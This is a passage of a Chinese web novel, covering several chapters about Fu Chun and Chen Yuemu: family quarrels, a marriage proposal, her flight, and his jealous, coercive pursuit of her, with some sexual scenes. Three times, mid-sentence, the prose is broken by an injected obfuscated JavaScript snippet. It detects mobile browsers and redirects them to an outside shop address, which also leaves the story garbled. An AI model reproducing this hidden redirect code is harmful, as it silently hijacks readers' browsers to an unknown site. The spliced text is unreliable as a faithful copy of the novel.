福春把盘子放桌上,一屁股坐在她对面,举手投足间也不再像前两天那般收敛,“来找您说说话。” “呵。” “别气坏自个儿,我也希望你们一家和睦。” 陈母斜她一眼,“合着我还该谢谢你?” 福春从口袋里掏出一枚硬币。 陈母忽然发现她身上穿的居然还是陈赏心的衣服,叱骂:“你可真不要脸。” 福春笑笑,把那枚硬币放在手心把玩,“咱们打个赌怎么样?” 女人活了大半辈子大风大浪也算见得多,临到老来居然要听乳臭未干的臭丫头在这撒骚放屁,她顿觉荒唐至极,高声朝屋内叫喊:“洪姐!洪姐!!” “让我来找您是陈悦目的意思。” 她伸手打住福春:“甭跟我来这套。 “陈悦目在这个家说不上话,别拿着鸡毛当令箭了汤小姐。” 福春略感苦恼:“他求我的,我总不能见死不救。” “那我也求求你好吧。赶紧拿钱走人,别逼我到时出手收拾你。” 洪婶光着脚从客厅冲出来,踩在草地上的枯枝被割了一道。陈母无奈只好摆摆手让人回去上药。自己也起身准备离开,临走时被福春喊住。 “Elena.”(艾琳娜) 陈母站住脚步,好半天像被叼住后颈的兽仔动弹不得。她僵硬转身,精致的面庞极度扭曲,眼中满是不可置信。 “你再敢叫一个试试。”女人怒道,“你这样的狐狸精我见多了,在我这根本掀不起风浪。” “掀不掀得浪起来还要看陈悦目。”福春靠在椅子上,“只是一个游戏,你怕什么?你没跟陈悦目做过游戏吗?” 她走上前,大大的眼睛凑到陈母面前分享秘密:“和他玩可有意思了。” 陈母给了福春一耳光。 “您有爱过他吗?” “轮不到你来说!” “那您去跟他说。”福春语调娇媚,“就赌这一把。” 衣服松垮的搭在她身上让胸前乳/沟若隐若现,“不然我就去找陈教授。” 陈母的脸渐渐染上一层寒霜,眼神也变得怨毒。她望着眼前的身躯,这是多么青春的一副身体。每一道弧线都蓬勃盎然。这样的身体她比不过的,从很早以前就比不过了。她可以用手段拴住福春,但是她栓不住她的男人。 就像破裂的水桶,总有缝隙能渗出水来。 “您赢了,条件随意开。” 福春的声音拉回她的思绪,“猜正反是吧。”陈母冷着声音,“正面。” 硬币抛起落下,随后盖在手背上,福春把手拿开,是字朝上。 “你赢了。” “然后呢。”这样大费周章绝不可能只是为了这碟醋。 福春笑笑,指着后院方向,“陈悦目在收拾后院小屋。” “去那干什么?”陈母一脸嫌弃。 “我们在打赌,他赌你会骂他没事找事,我赌你会心平气和在那待五分钟。” “他是对的。” “我还没说赌注呢!” 阳光照满整个小院。 “我赢了,就让他答应我一件事。” * 一个家总有很多东西既用不上扔掉又可惜,这样的物件大多找个角落堆起来,久而久之就忘了它的存在。 “你躲在这里做什么?” 陈悦目听见声音,手停了停而后继续蹲着摆弄眼前的木盒。 身后光线被挡住,脚步声渐近。只要五分钟,艾琳娜将是这场游戏的最终胜利者。 “有些东西在犹豫要不要,所以先放在这里。”陈悦目抬眼,“见过福春了?” 女人点头。 他拿出手机点下计时,数字迅速在屏幕上跳动,陈悦目坐在阴暗的屋内看向门外说:“等一下就好。” 只需要五分钟。没有第三人,只属于他们母子俩之间的五分钟独处。 两人盯着手机上过去的三十秒,陈母转身要走。 “连五分钟也不愿意给我吗?”陈悦目问。 “陈悦目,你随时可以来我房间聊五分钟,甚至半个小时一个小时都没问题。” “那是你的五分钟。我想要的是你呆在我的五分钟里。” 陈母怒道:”什么你的我的?“ 陈悦目撇过头:“你是个作家,不会不明白我什么意思。” 时间过去一分钟。 女人叹气:“总不能干站在这。”她说完余光瞥见地上打开的盒子,缓缓蹲下,“这是你画的。” 陈母拿起那张画问:“怎么没画完?” “是我们一起画的。”陈悦目回答。 女人应了一声,似是想起来:“幼儿园时画的……你还留着。” “……不知道要不要扔,结果一直留到了现在。” “留着就留着吧。” “嗯。”家里有很多画,甚至还能装下很多画,“我想把它放在这。” 他的屋子已经装不下了,“你觉得呢?” 陈母不做声,过了一会才开口:“要放哪随你,你的东西你做主。” 陈悦目抬头看向前方漆黑,自嘲道:“原来我还能有做主的事。” “你怎么不能有?你本事大着呢!” 时间一分一秒流逝,第二分钟过去。 “我不想跟你吵架。” “你太不懂事了。” “想走的话你就走吧。” “我是你妈,不需要听你招之即来挥之即去!” 女人气冲冲上去抢过他手里的画要撕掉。 陈悦目没有反抗,任她拿走,看着她把纸揉皱在手中,眼中泛起一线光。 陈母突然卸了力,停下动作,慢慢把手中的纸展开。 在沉默中第三分钟过去。 “你小时候比你姐还乖。”陈母凝望手中的画,回忆那点零星过往,“有时候叫你呆那别动,你就一整天都不动,我一忙就忘了你。” 她沉浸回忆,红指甲抠在纸上印出一道痕,“生你的时候我吃了好多苦头,以为是个男孩你爸能对我好点。” 她后来才想明白所谓传宗接代在男人眼里就是一道锁。解不开锁的钥匙就换一个,解得开锁他们从此就自由了。 女人怎么做都是输。因为她们在男人眼里可以是一切,唯独不是人。 “妈不是不疼你,我只是……我做不到。”陈母撇过头不再看画上面蓝天白云还有那个淡的快消失的小男孩。 人的爱有限,给了这个多点给那个就少了。她也没得过多少爱,哪里还有富裕的去给陈悦目。 “你姥爷从小更疼你舅,我就觉着以后我有了闺女一定要对她好点。”这世上谁能保证自己是个完人?她在遗憾中补偿自己又有什么可指摘的。 “别怪妈妈……”女人低声啜泣,她无能为力,“也没有人爱过我啊!” 第四分钟。 “我不知道。”陈悦目只能这样说。在这个家他已经习惯孤立无援。他可以把恨变出一百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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狗掉了一地,掉在艾琳娜身上,她笑着把小柯基举起来抱在怀中揉搓。 福春被拉到房间,欢笑声不止。手抚上她还在泛红的脸颊,陈悦目利落地捧起她的脸吻上那抹红,吻上嘴角,急切与她深吻。他拥抱她,高大的身躯围裹福春,感受她软在自己怀中,作为一个男人,紧紧爱着他怀中的女人。 一整个下午,他们都沉浸在喜悦中不知疲惫。 “我们的赌怎么算?” “我赢了。”福春说。 “要我做什么?” “暂时没想到。” 他们额头相抵。 “还想听我的答案吗?” 福春刚想问什么答案,突然明白他指的什么,再要仔细望去时陈悦目又抢先一步:“算了,我又不想说了。” 他把人压在门板上肆无忌惮。 “你爸好像在外面。” 陈父站在门外,静静听着。 陈悦目无法抑制地笑出来。 以自己快乐的程度他甚至能想象门外的人有多愤怒。 回家以来这是最快乐的一天。 * 装潢布置完毕,别墅内一派柔和雅致,客厅音响正在播放交响乐盖住不和谐的声音。 “你的好儿子。”陈教授冲到厨房斥责妻子,“佳佳还在这。” 艾琳娜把洗好的青提摘下一颗送入口中淡淡回答:“佳佳一早送出去玩了。” 陈父一滞,察觉出一丝异样,还没等看出端倪陈悦目就从楼上下来,直接打开冰箱。 男人在那盯着,直到咳了第三次才让他微微合上冰箱门探出头问:“有事?” “你在做什么?” “开冰箱。”陈悦目顺手按开饮水机,“接水。” “好好回答我,你在做什么?” 他拿起杯子喝水,悠闲靠在冰箱边。 “呆在房间。” “我再问一遍,你到底在做什么?” “做/爱,在房间里做/爱!你满意了?” “你看,你又是这个样子。” “我就这样,你又是什么样?” “你觉得做这种幼稚的行为会让我愤怒,我寒心的是你的敌意。”男人语重心长,“那种婊/子给够了钱谁都可以玩,只有你蠢到拿她当宝。” “在你眼里谁不可以玩,你想玩谁就玩谁,何必只针对她?” 陈父咬紧牙关,深吸一口气不疾不徐开口:“我是就事论事,而你是在污蔑一个父亲的爱。” “你爱过我吗?”陈悦目平静下来,神情间透出一股底气反问,“或者说你爱过人吗?” “你这样我无话可说,我很失望。” “那不碍你的眼,我们一会就走。” 陈教授忽然放松语调:“你别太自信,除了血缘没什么关系是永恒的。她也可以为别人打开双腿。”男人眼中尽是得意,“你才睡过几个女人?你玩不过她的,别到时让她踹了你回家哭鼻子。” 陈悦目关上冰箱门,转身,直接拿着喷射/奶油上楼。 25. 玫瑰 陈悦目的车这两天被送去保养,傍晚送来时他让人停在路口,然后和福春慢慢走出去。 “回去了?” “回去了。” 福春迈着小跳步甩起手,连带着被她牵着的手也一下一下扬在空中,陈悦目问她:“以后还来吗?” 来不来的福春想不了那么远,她一蹦一跳,“有好吃的就来。Linda说下次会请我去院子里玩狗。” “你就惦记着隔壁的狗了。” “不然惦记什么?” “大闸蟹不好吃吗?” “一般般。” “看来我家没什么让你惦记的。” 两人走到车前,福春一个转身,接话:“有啊!“她手指轻捏住陈悦目下巴晃了晃凑近他面前回答,“惦记你这张嘴。” 陈悦目手一伸紧紧圈住福春腰身将她搂在自己身侧,俯下身要去舔她耳朵。 “等等。” 陈悦目不理,嘴被福春的食指挡住。 他拿下手吻了吻她的指尖然后握在手中,再次准备亲热时听见对方在耳畔说:“告诉你个秘密……” 偌大的家没有开灯,只有炽烈温柔的夕阳慢慢填进屋子。艾琳娜抱着一束康乃馨去岛台,路过冰箱时对着反过来放的猫头鹰莞尔一笑。 * 「分离才是原则,余者皆为偶然。」 工作日,陈悦目赶去机场为陈赏心送行。 佳佳已经由保姆先带回北京,陈赏心处理房产的事情多在北江留了两天。这次回去她没有告诉父母,临到机场才轻描淡写发微信说了一声。 陈悦目那边则是提前一天告知他。 陈赏心对于父母是有怨的。她是天之骄子,优秀到足以让周围人对她释放的都是善意,也因此忽略了家庭中那阴暗的一角。 对于陈悦目,陈赏心想尽力弥补,不知道会不会为时已晚。 “怎么走的这么急?” “我已经出来太久了。” 说完这句两人皆是一顿,不知不觉间北江已经不算陈赏心的家。 “我的意思是……” 这份遗憾终究是无法弥补,连她自己也悄悄在心里划了界线。陈赏心垂下肩膀,平日意气风发的脸难得一见挂上惆怅。 每个人有每个人的路要走。陈悦目能理解,抱住她安慰:“我明白。” 只是在他们还没准备好时离别已经悄然发生。 “你是我弟弟,我们是亲人。这点无论如何都不会改变。” 支离破碎的家若说还有什么值得留恋的那就是和陈赏心之间的亲情。 陈悦目清楚记得当初那幅“我的家”是陈赏心握住他的手一笔一笔教他画的。 “当然,说什么傻话。” 临别之际,陈赏心五味杂陈,走了几步想挨近陈悦目拉他的手又尴尬放下来与他并排走着。 “抱歉,没能在你需要的时候给你帮助。” 虽然现在说这个为时已晚,可她是真心为陈悦目担忧,“或者你跟我去北京怎么样?” “姐,我没事。留在北江也挺好。” “你以前可不是这样想的。”当初陈父亲自去英国把他押回来的时候闹得天翻地覆。 “那是以前,现在我改主意了。” “是为了福春吗?” 陈悦目不接话,低头清清嗓子扯开话题:“你喜欢吃的千层肉饼我这次买了好多,回去放冰箱里还可以吃两三天。” 陈赏心但笑不语,接过袋子。 走到安检口,两人做最后的道别。 “多给我打电话,有心事要跟我说。也让我帮你做点什么。” “有你在这个家已经是我最大的帮助。”陈悦目侧头望着橡胶地板上两人的身影仿佛回到小时候,“我为你骄傲。” 她是这个家唯一的光亮,也是陈悦目心中无法割舍的牵挂。 感受到对面异样他抬眸,发现陈赏心正凝望他笑意盈盈,“不怪我?” “怪你什么?”他从没怪过她。 对面没了平日的端庄沉静,微微歪头靠上前八卦:“你变了,我说不上来。陈悦目,遇到对的人要好好珍惜。” ”不明白你在说什么。“陈悦目装傻,惹得陈赏心去掐他脸蛋。 姐弟俩难得打打闹闹。 “我在说福春——” “是她珍惜我还差不多……土了吧唧的除了我谁要她?” 陈赏心看到陈悦目眼中奕奕神采。这种眼神陈赏心很熟悉,她常在丈夫身上看见。 机场广播在头顶响起,她没再多说,拍拍陈悦目胳膊交代:“好好生活。”然后转身进了安检。 回去的路上陈悦目心情颇好,特地绕去花店买了一束玫瑰。 到家时福春也刚回来,两人在电梯相遇。她大咧咧开玩笑:“陈老师,这么早回来啊!” 沉默围绕电梯,陈悦目眼睛盯着电梯显示屏中逐渐上升的数字。 “花真漂亮,能不能给我一支?” 空气变得闷热,逼仄空间内暗潮涌动。 他捧着花低头看了一眼,从中间抽出一支含苞待放的递给福春。 “喜欢吗?” “一般般。” 叮咚!电梯到达楼层。 福春把花骨朵掐下来插在陈悦目衬衫口袋,刚踏出电梯就被一股力道扯住。脚下步伐踉跄,两人还没进门已经吻在一起。花束被挤得要掉不掉,一片片花瓣顺着脚步落在地上。 陈悦目猛地抵开门,几乎把人拽倒。 屋子天旋地转,鞋子被踢飞,家具左右晃动,门没关严又让穿堂风吹得更开,楼下货车蓄势待发。福春半天推不开身上的人,见缝插针去问:“又遇到什么开心事了?” “你怎么知道是开心事?” “猜的。” “猜的真准。”陈悦目埋首于她身上急切亲吻。 鞋柜上的香薰差点被撞倒,香味剧烈发散,她像探出水面的鱼大口呼吸。 “你开心时做不开心时也做,我俩一天天的净做这点事了。” 他们之间的快乐永远只停留在生理需求上。 陈悦目在她话中嗅到一丝不满,脑袋从她颈间离开,“不想做吗?还是只想让我用嘴?” 福春推开他一屁股坐在床上,顺手捞起掉在地板的玫瑰。 “那你想吃什么?” “除了做就是吃。” “食色性也。不搞这些我们还有别的可干吗?” 是啊,他们之间不做这些也没别的了。 她手指拨动花瓣,随口问道:“花是送我的?” “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186528|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “今天是什么日子?为什么送我花?” “是好日子。” “学校发工资了?”除此以外福春也想不到还有什么称得上好日子。两人在精神追求上相差太远,要不是还有身体关系维系早分道扬镳了。福春知道陈悦目嫌弃自己是个乡巴佬。 “你猜我基金涨了都比这靠谱。” “那是什么?” “只是想送你不行吗?” “我会吃掉的,你又不准我吃花。”虽然这样说,福春也没有去吃,反而很珍惜地捧着埋下头闻味道。 “第一次收到花?” “嗯。” “要不要约会?”陈悦目放缓声音,蹲下身去拉她胳膊肘说道,“只有我们两个。” 福春双眼从玫瑰花束中抬起,盛开的花朵遮住她大半脸庞。她看着陈悦目跪在地板,就跪在她面前,拿起她的脚放在自己之上。 她天生四肢纤长,手好看脚也好看。脚趾圆润干净,脚型细瘦,在黑色西装裤间来回摆弄像一支白船。 “去哪?” “看展,听讲座。不喜欢的话就去看电影,逛街。” 福春来了兴致。 “逛累了就在星巴克休息。我们可以在电影开场之前顺便去楼下Armani取羊皮手套,然后你再帮我挑几条领带。” “那晚上呢?” 陈悦目捏捏她脚踝,“想看夜景还是想吃麻辣火锅?我一会订位子。” 福春惊喜:“突然对我这么好?” “这算什么?”仅仅是情侣之间的普通约会就让她这么开心。陈悦目对福春的反应泛起一丝怜爱,他开口承诺:“以后带你出国玩。” “去一次阿尔及利亚怎么样?” “那是个什么地方?” 陈悦目闭上眼,任由她乘风破浪。 “在北非,首都是阿尔及尔。” 福春笑他:“你居然也会去名人故乡打卡。” 他的心被福春扯开一条裂缝,海水澎湃奔涌,卷着他翻滚在浪潮之中。 陈悦目开口,唇上的红一直染到脖子,“结婚吧,蜜月旅行带你去阿尔及尔。” 他喘着气,舔舔唇又重复一遍:“跟我结婚。” 福春呸呸吐出花瓣,还没明白发生什么。 “本来想让你先说,不过这事由我来开口也不是不行。” 花被丢在一边,陈悦目紧紧握住福春脚踝,脚下滚烫仿佛抵着把利剑,声音一字一句清晰传进福春耳中。 “你不是一直想知道答案吗? “我说了你也要给我答案。” 福春睁大眼,被窗台的水晶吊坠闪了一闪。她撇头后躲,心脏咚咚直跳,听到对面已经开口:“你问我是不是爱你——” 福春猛地扑过去抱着陈悦目将吻迫不及待覆上。陈悦目一怔,随即闭上眼反客为主。 结局属于意料之中,福春的反应比想象中更热情。 两人都专心致志像在比赛。福春不知道哪来的牛劲,做到最后他们筋疲力尽。 陈悦目心中从未感觉如此踏实,梦海之中他重新拿起画笔勾勒,画上是他和福春两人的家。 这场美梦一直做到第二天中午,空调的冷风灌进他胸膛。 陈悦目睁眼,发现福春跑了。 26. 痴汉 一大早,鸡在院子里叫个没完,吵醒了睡在屋里的人。刘芯捂住胸口痛苦呻吟:“知道了知道了,饲料都在你窝里,自己拌点吃吧。” 墙外拖拉机嘟啦啦路过,跟鸡叫声一唱一和,还留下一堆熏死人的尾气飘进屋中。刘芯慢慢坐起来,伸手叫醒睡在身旁的人:“小熙,小熙。” 隆起的被子下慢慢伸出细长手脚,被窝里的人晃悠悠坐起来,背心吊带搭在胳膊上,福春顶着一头乱发咧开嘴问好:“早啊,姐。” 这两天刘芯和福春准备出远门,估计好长一段时间不会回来。两人走之前在家收拾东西,把一些不穿的衣服洗干净收起来。 院子里撑起晾衣绳,拉里拉杂五颜六色的全挂满了。 福春拿小马扎坐在墙根正吭哧吭哧洗外套。 “小熙,扔洗衣机得了,干吗用手洗?” 福春仰起头,拉出外套里面的长标签,“你看,上面写了不能机洗。” “没那么讲究。”刘芯端着喝水缸子坐在旁边砖头上,“这件就在地摊上买的,一件35洗坏了再买。” 福春已经养成习惯,一时想改也改不过来,“洗都洗了,顺手的事。”她把昨天换下来的衣服也一起丢盆里。 等家里打扫好她们就进城找阮晓柔。那边房间也已经收拾出来,小小的屋子阳光特别好,昨天打视频时晓柔还给她们看来着。 “柔柔他们也快搬了吧?” 福春扶了扶搓衣板,把肥皂用力刷在衣服上,“别担心,搬哪都得带着你。”她把泡沫抹在刘芯脸上,“你是福将。” 阮晓柔现在住的地方是从她老公亲戚那租的,屋子两室一厅夫妻俩住刚刚好,只是总面积不大,未来要一家三口生活就稍显拥挤。 “我怕给她添麻烦。”刘芯坐那絮絮叨叨,“她还大着肚子,万一我出点什么状况还要反过来她照顾我。” “那你不会不出状况?” 她一脸委屈:“这又不是我能控制的。” 衣服洗好,两人一起扭干,福春笑说:“你看,你一身牛劲能出什么问题?” 刘芯丧着脸站福春身旁,大的快突出来的眼睛一会看她一会看地,最后憋不住:“这次过去不就是去看病的。” “看完病就好了!” 福春不吃她这套,她转身回屋将放在床上的衣服一件件塞进行李箱。 “到时我去上班就住宿舍了,你有啥事跟二瓜直说,别一个人别别扭扭坐床头唉声叹气。” “行,我不叹气,唉!” 院子外有人敲门,福春上一秒还在笑话刘芯下一秒就跟受惊的鹌鹑扑棱进被窝。 门又敲了几声,刘芯出去开门,是村头卖猪肉的来找她借个扳手修三蹦子。 “你要出去呀?” 她随意把扳手拿给他,一边回话:“去城里住两天。” “还回来不?” “兴许吧。” “你那鸡咋办?有人给喂吗?” “不知道。” “那你卖我得了,省得没人养又跑出去。” 刘芯回答:“随它去吧,要走也拦不住。”反正鸡肯定比她活得好。 螺丝拧紧,她拿回扳手,听到身后的人又问:“老汤家闺女和你还有联系吗?” 屋内咚地一声,不知道摔了什么东西。 她赶紧咳嗽两声扶墙拍胸口虚弱回道:“不知道啊,我一直病着呢!她欠你钱了?” 对面拧了拧把手发动车子对她说:“没啥大事,她家老太托我打听打听她是不是死了。” “哦。” 三蹦子启动扬起一阵灰扑了刘芯一脸。她回身,发现福春不知什么时候躲在她后面。 “咋出来了?” 福春鬼鬼祟祟拉着她进屋问:“说我啥事呀?” “没啥事,你奶问你是不是死了。” “那就好。”她拍拍胸脯,“家里没有别人来找我吧?” “这谁知道呢?” 福春东张西望,总觉得有人在监视她。 * 陈悦目坐在椅子上,直直看着前方。 学校考试周,他被安排监考。大阶梯教室里两个老师商量好轮流巡逻。陈悦目坐在前面讲台,瞄一眼手表生无可恋。 上学期作弊现象严重,有学生拿手机偷拍期末考场放到网上引起舆论发酵。学校连夜彻查紧急开会,三令五申强调考场纪律。轮到这次期末不仅学生从严要求,连老师也不允许带手机进考场。 天气转凉,挤满人的大教室里仍然闷窒,一点也没有入冬的样子。陈悦目望着窗外的榆树,一片落叶掉进窗台。 一眨眼三个月过去了,福春至今没有一点消息。 后排的老师走上前来,陈悦目冲他点点头起身交替巡逻考场。 他在人消失的第二天就跑去找福春的两个朋友,人被他翻来覆去问了又问。挖坑,威胁,软的硬的都来了一遍就是一点线索都问不出。警局那边托人查过也是石沉大海,好好一个大活人就这样人间蒸发。 陈悦目不担心福春遇到意外,因为在他问花康宇和阮晓柔时那两人并不怎么担心,明显她们知道福春是安全地躲在了一个地方但不打算告诉他。 风将枯叶吹到陈悦目脚边,身边考试的学生正面愁容憋答案。回过神来,他轻叹一声从那名学生身边走过,把考生吓得当场石化。 考试结束,陈悦目直接拿着手机回家。路口那家馒头店依旧人来人往,只是卖馒头的柜台前再也见不到福春。 他跑去找人的时候才知道福春就用手机说了一声然后连工钱也不要就直接消失。 “走的那么突然,欠钱了吧?”老板见陈悦目面颊阴郁问,“你是债主吗?” 陈悦目站起来冷脸走出店外。 老板悻悻坐回去,手机里播放的电视剧突然发出一声爆喝:“欠我的你拿什么还!” 回到家,陈悦目打开衣柜见里面挂着的几件鲜亮长裙眼中冒火。福春消失后他隔三差五派人去村里蹲点,可惜一点有用的线索也问不出来。 红裙被拽出来丢在床上,陈悦目钻进去,冰凉的布料盖住脸,他尽全力去嗅福春残留的那点味道,压抑的感情再次鼓胀起来。 眼前的鲜红漫进眼睛,陈悦目张开嘴,将舌尖伸进微凉空气。 红裙之下他蜷缩身躯,想象着自己躺在福春的心脏。她的血液贯穿他,心脏一次次强而有力鼓动,他随着她的节奏,仰起头,却在爱意难耐之时听见她说不爱他。 陈悦目嘴唇翕动,像烈日下河岸边的鱼。 “你凭什么……” 福春走的那天什么也没带,拍拍屁股说走就走,在自己说爱她的时候毫不留情地踹了他,对这里没有丝毫眷恋。 直到周遭寂静,他又尝到那味道,是他咸涩的泪…… 发泄过后,陈悦目起身打开保险箱检查里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13219941|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西。 柜子除了现金和几个腕表还有就是一个布袋。他从里面掏出袋子。那是当初阮晓柔送给福春装东西的。袋子里是一把土,福春当宝似的。 先前他打扫屋子顺手帮她把东西放进保险箱,福春当时还很开心有个地方能放宝贝,只不过保险箱密码只有自己知道,问了几次陈悦目都不想告诉她。 现在看来是冥冥之中自有天意,他扯扯嘴角,又将袋子扔回去,笃定福春迟早会回来拿它。 * 今天太阳很大,上午晾的衣服中午全部干透。福春捧着衣服一边收一边闻被太阳晒过之后留下的香味。 “姐,咱们今天就能走。” 行李都收拾好,晓柔那边上午打电话时说预计她们今天去也已经铺好床单被褥。福春要赶在这两天报道上班,要是今天走还能跟着在晓柔家住一晚。 刘芯用筷子搅着一盆面糊站在门口说:“行啊,一会吃完饭就走。”她想了想,“走之前看看你奶吗?” 福春挠挠头:“她不能打我吧?” “不能,都过去多久了。”刘芯打包票,“你奶不记仇。” “也是,我奶记性不好。”福春想通了又开开心心继续收衣服。 等到下午两人把家都收拾利索,刘芯提溜着鸡去花康宇家,福春则悄悄绕回自己家看奶奶。 自去年逃出来后她就没联系家里。福春的事在村里相当丢人,知道的拿出来说免不了要笑话她家。福春爸妈外出打工听不见心不烦,可是福春奶奶常年在村里受人飞短流长。 她奶一个活泼开朗的老太已经憋一年多不敢出门了。 福春走在路上越想越难过。她决定给奶奶道个歉,再抱抱她。 小时候她最喜欢抱着奶奶,虽然她奶总嫌她臭。 福春走到路口,情难自禁大声呼唤奶奶。 “奶——我亲奶!我回来啦!我的奶呦!” 当她嚎到第三声从巷子里忽然蹦出来一个佝偻背的老太。 福春双眼发亮,张开双臂奔跑过去,“奶呀!我回来了!” 跑着跑着她渐渐停下,看着老太巍然不动,渐渐启动,然后喝了脉动似的朝她快步走来。 福春退后两步,又吓得连滚带爬跑出巷子叫喊:“奶啊,别追了救命啊!” 老太太面无表情举着拐杖一步一个脚印追她。 她跑,她是那个速度;她走,她还是那个速度;她停下,她依然是那个速度。就像个迅速拉近的镜头追赶福春。 福春被吓得三魂不见七魄,一边喊救命一边又舍不得回头看。 刘芯叫的车停在巷口,她拉开车门让福春一溜烟窜上来。 “快点,开车!” 老太依旧穷追不舍,福春把头伸出窗口喊她回去。 “你别追了,我害怕!” 奶奶手一挥,一个小东西咚地砸进车里。福春拿起来发现是她小时经常吃的巧克力。 她奶记性不好,但还记得她喜欢吃什么。她是爱她的,这个佝偻背的老太是世界上最好的奶奶。 哪怕所有人都嘲笑她,奶奶始终站着她身边。 车子停下,福春探出窗外殷勤呼唤:“奶奶!” 奶奶也很给力,举着拐杖冲过来。 福春忍了又忍,最终还是在那根粗大的棍棍捅进来之前大喊开车。 夕阳西下,载着刘芯和福春的小轿车翻起尘土匆匆逃出村里。 28. 我不爱你 饭点,海底捞内热闹非凡。头顶播放的欢快歌曲压不住鼎沸人声。服务员们一个个如设定好般带着标准微笑忙碌穿梭在蜿蜒曲折的小路上。 福春站在靠窗边的台子,手拎着大铁壶正小心翼翼为客人服务。 “你好,给您加下汤底。” “你抖什么?”陈悦目语气冷漠,“汤溅我手上了。” 他吃到一半突然换位置。原来坐外面的是个细瘦的男生,传菜添水都有很大的空间,换成陈悦目这人高马大的肌肉大块堵这连手都伸不开,稍微动一动就能碰到他。 “没抖啊!我给您拿块毛巾。” “不用不用,我们这有……” 其他人说到一半噤声,餐桌气氛变得波谲云诡。 有眼睛的都看得出陈悦目状态不对,偏偏俩当事人不说破,周围的人也只好硬装下去,“毛巾,还是再帮我们换一条吧!” “好的。” “笨手笨脚。” 换成别的地方福春直接一个耳刮子就呼上去了,但这里是海底捞到处都是摄像头。店内宗旨客人至上,要求全体服务员无论何时都不能有一丝一毫的松懈,连添水添晚了都要受批评。 眼下状况福春也料到事情不能善了,可没别的办法只好任之由之。他们叫她她就来,让干什么干什么。跳科目三,扯面,做响铃卷,每次去陈悦目那眼神都跟点着的煤气灶一样蹭蹭盯着她冒火。 终于等到过了高峰期,陈悦目那桌吃走了一波又一波的客人,他们才伸手买单。 “一共消费1138,这边有个一百元优惠券请问需要用吗?” “几点下班?” “那把券给您用上,还需您支付……” “我等你。” 福春说不下去,弓在他身侧回答:“别等了,我晚上十一点才下班。”她把打包好的小零食分给大家,分到陈悦目的时候犹豫着到底要不要给,结果对面一把连手和袋子一起抓住,力道不大却让福春挣脱得很难看。 福春身上火辣辣的,好像被烧穿了个洞后背都湿透了。陈悦目倒跟没事人似的昂首阔步直接离开。 第二天中午,陈悦目又开车来财大海底捞。 这回他一个人来,指名要福春服务,一个人点了一个大锅硬是坐了一下午。 “你有话好好说,坐这不动我怎么赚钱?”福春欲哭无泪,她给陈悦目的杯子里添满水,桌上的餐具还好好摆着,没一点动过的迹象。 “那你想怎么说?”陈悦目反问。 他双手插在外衣口袋,一副找茬的样坐在那随时准备砸场子,逼得福春无奈给出承诺:“下班再说。” 陈悦目满意离开,等到晚上福春下班,他早早将人堵在楼下大门。 躲得过初一躲不过十五,福春丧头耷脑走过去,临近他身边又立刻换上一副假冒伪劣的笑容寒暄:“陈教授,这么晚不回家休息吗?” 陈悦目黑脸瞪她不废话:“跟我回去。” 福春也装不下去了,劝道:“陈悦目你别这样。” 两人在商场大门外顶着呼啦啦地寒风。 陈悦目发火:“别怎么样?别一声不吭甩下人跑了还是别东躲西藏发一张青海定位的图片欲盖弥彰,福春你可以啊,这半年居然把我耍得团团转,你个死骗子。” 福春甩开他手不耐烦:“我骗你什么了?我什么都没答应你,你一厢情愿还能怪我了?” “回去。” 他们在马路上拉扯。 “我不回!”福春骂他,“臭不要脸。” “为什么不回去?”陈悦目似是想到什么,脸色变了几变,直直站在风中质问,“你有别的人了?” 他咬牙切齿:“是不是有别的男人?!” 福春本来就心里有气,先前苦瓜脸那一出已经让她恶心得够够的,没想到陈悦目这样的人上人居然也来这套,男的无论高低贵贱都是一副死德行。 “是是是,我有人了,还不止一个,不知道多爽呢!你满意了?” 福春说完见对面合上眼紧捏拳头,一副准备出手揍她的架势。她退后几步准备拔起一旁红白警示柱当武器防身,没想到对方铁青着脸说:“跟我回家,这事当没发生过。” 福春语塞,一时间不知道蠢和大度哪个更适合形容陈悦目,她无奈道:“好聚好散吧。” “你觉得可能吗?” “我除了漂亮啥也没有。” “那我就要你这臭皮囊。” 福春干脆豁出去:“要不肉偿,你说个数,睡完咱俩就拉倒。” “一辈子,干死你。” 陈悦目不知道在哪学的,说完那刻福春鸡皮疙瘩从脚后跟起到脑袋顶,连带着看陈悦目都没了昔日那点光环。要不是跑不了她都恶心得想找个洞钻进去算了。 “……各退一步行吗?” “怎么退?” “你让我考虑几天。” “考虑几天。” “嗯,几天。” “几天是几天?” 福春说不出来,陈悦目拉起人又要拽走。 “哎哎,七天七天行了吧?!” “太久了,明天回答我。” “咱俩的事这么重要不需要好好考虑吗?” 这理由陈悦目很受用,“那就两天。” “我们的情分就值两天?” “你有完没完?” “你咋这么抠连七天也不给我?再说我的东西都在你那,跑得了和尚跑不了庙你怕什么?”福春说完又问他,“你保险箱密码多少?” “你回来我就告诉你。” “不告诉拉倒。” “你的东西不要了?”陈悦目试探。 